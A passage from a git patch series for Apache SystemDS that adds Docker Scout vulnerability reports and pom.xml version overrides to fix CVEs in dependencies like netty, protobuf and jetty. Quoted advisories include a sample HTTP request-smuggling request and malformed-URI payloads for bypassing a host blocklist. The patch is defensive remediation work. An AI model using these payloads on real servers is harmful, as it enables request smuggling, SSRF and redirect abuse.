default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index 61ad93d756b..afa3d4f4899 100644 --- a/pom.xml +++ b/pom.xml @@ -52,6 +52,8 @@ 12.6.0 2.0.11 2.22.1 + + 2.25.3 1.11.4 @@ -1768,7 +1770,7 @@ org.apache.logging.log4j log4j-core - ${log4j.version} + ${log4j-core.version} From 1376902f104d854501b20b6f9239cb6c327d1d34 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 23 Jan 2026 09:26:33 +0100 Subject: [PATCH 14/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for: - org.apache.commons/commons-lang3@3.18.0: CVE-2025-48924 - org.apache.spark/spark-network-common_2.12@3.5.2: CVE-2025-55039 --- .../medium-cves/sysds_output14.md | 1018 +++++++++++++++++ pom.xml | 12 + 2 files changed, 1030 insertions(+) create mode 100644 docker/scout_results/medium-cves/sysds_output14.md diff --git a/docker/scout_results/medium-cves/sysds_output14.md b/docker/scout_results/medium-cves/sysds_output14.md new file mode 100644 index 00000000000..3eddedb28de --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output14.md @@ -0,0 +1,1018 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 357 packages + ✓ Provenance obtained from attestation + ✗ Detected 12 vulnerable packages with a total of 31 vulnerabilities + ✓ Report written to docker/scout_results/medium-cves/sysds_output14.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:b860f476b3efe36e9715ebe63ed33a4b165345645b0b725c45b57d9d9e0d313e
vulnerabilitiescritical: 1 high: 9 medium: 16 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
